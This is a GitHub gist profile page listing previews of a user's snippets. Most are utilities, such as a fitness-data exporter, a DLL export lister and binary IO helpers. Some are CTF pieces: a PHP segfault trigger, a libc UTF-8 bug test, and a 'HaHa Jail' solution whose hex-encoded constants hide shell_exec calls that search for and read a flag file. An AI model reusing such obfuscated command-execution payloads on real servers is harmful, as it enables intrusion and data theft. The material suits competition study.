Skip to content

Instantly share code, notes, and snippets.

View k3idii's full-sized avatar

Keidii k3idii

View GitHub Profile
@k3idii
k3idii / endomondo_export.py
Created November 16, 2020 18:07
Get all activities from endomondo as gpx files
import pathlib
import requests
class EndomondoAPI:
URI_BASE = "https://www.endomondo.com"
BASE_PATH = pathlib.Path("/") / "rest" / "v1" / "users/"
LOGIN_PATH = pathlib.Path("/") / "rest" / "session"
UID_PATH = ''
@k3idii
k3idii / get_export_ordinals.py
Created October 30, 2020 14:00
PYTHON: pefile get list of ordinals and export function names from windows dll
import pefile
import glob
import json
out = 'c:\\temp\\exports.json'
l = glob.glob('c:\\windows\\system32\\*.dll')
r=[]
def sss(x):
return '???' if x is None else x.decode()
@k3idii
k3idii / lambda_segfault.php
Created September 28, 2020 08:40
0CTF2020/php-segfault on zend_object_std_dtor().
<?php
$lamb1 = function ($AA) {
return function ($BB) use($AA) {
return function ($DD) use($BB, $AA) {
return $BB($AA($BB)($DD));
};
};
};
$lamb2 = function ($CC) {
@k3idii
k3idii / libc_utf8_bug_test.sh
Last active September 28, 2020 08:41
Test so called "0day" in libc related to bad utf8 handling. Part of on of 0CTF task :-)
#!/bin/bash
echo '
#include <locale.h>
#include <wchar.h>
#include <stdio.h>
void main(){
setlocale(LC_ALL,"en_US.UTF-8");
getwc(stdin);
}
@k3idii
k3idii / evil.hh
Created September 6, 2020 10:08
2020-09 COnfidence CTF HaHa Jail solution
cmd=<?HH
class C1 {
const F1 = "\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x61\x2e\x70\x68\x703";
const F2 = "\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x61";
const D1 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x69\x6e\x74\x5f\x72\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x2c\x74\x72\x75\x65\x29\x3b\x20\x7d";
const D2 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x66\x69\x6e\x64\x20\x2f\x20\x7c\x20\x67\x72\x65\x70\x20\x66\x6c\x61\x67\x22\x29\x3b\x20\x7d";
const D3 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x63\x61\x74\x20\x2f\x76\x61\x72\x2f\x77\x77\x77\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x22\x29\x3b\x20\x7d";
}
<<__EntryPoint>>
import json
import datetime
from dateutil.parser import parse
data = json.loads(open("src.json","r").read())
entries = []
rooms = {}
first_date = None
last_date = None
import structio.structio as sio
import StringIO
import sys
import collections
import json
import pprint
EX_IMPLEMENT_ME = Exception("Implement ME !")
class PrimitiveJsonable(object): ## lolz
def convert_dotnet_time_int64_to_str(i64):
b = bin(i64)[2:].rjust(64,'0')
delta = int(b[2:],2)/10000000
import datetime
return str(datetime.datetime(1,1,1,0,0,0) + datetime.timedelta(seconds=delta))
@k3idii
k3idii / structio.py
Created May 31, 2017 17:32
The power of struct && the power of file-like io ;-)
import struct
import os
def glue_ex(parts, delim='', preproc=None):
if preproc:
if isinstance(preproc, list):
for fn in preproc:
parts = map(fn, parts)
elif callable(preproc):
@k3idii
k3idii / __init__.py
Last active January 8, 2018 23:40
Extra IO Objects wrapper. Usefull for binary-level parsing/building
We couldn’t find that file to show.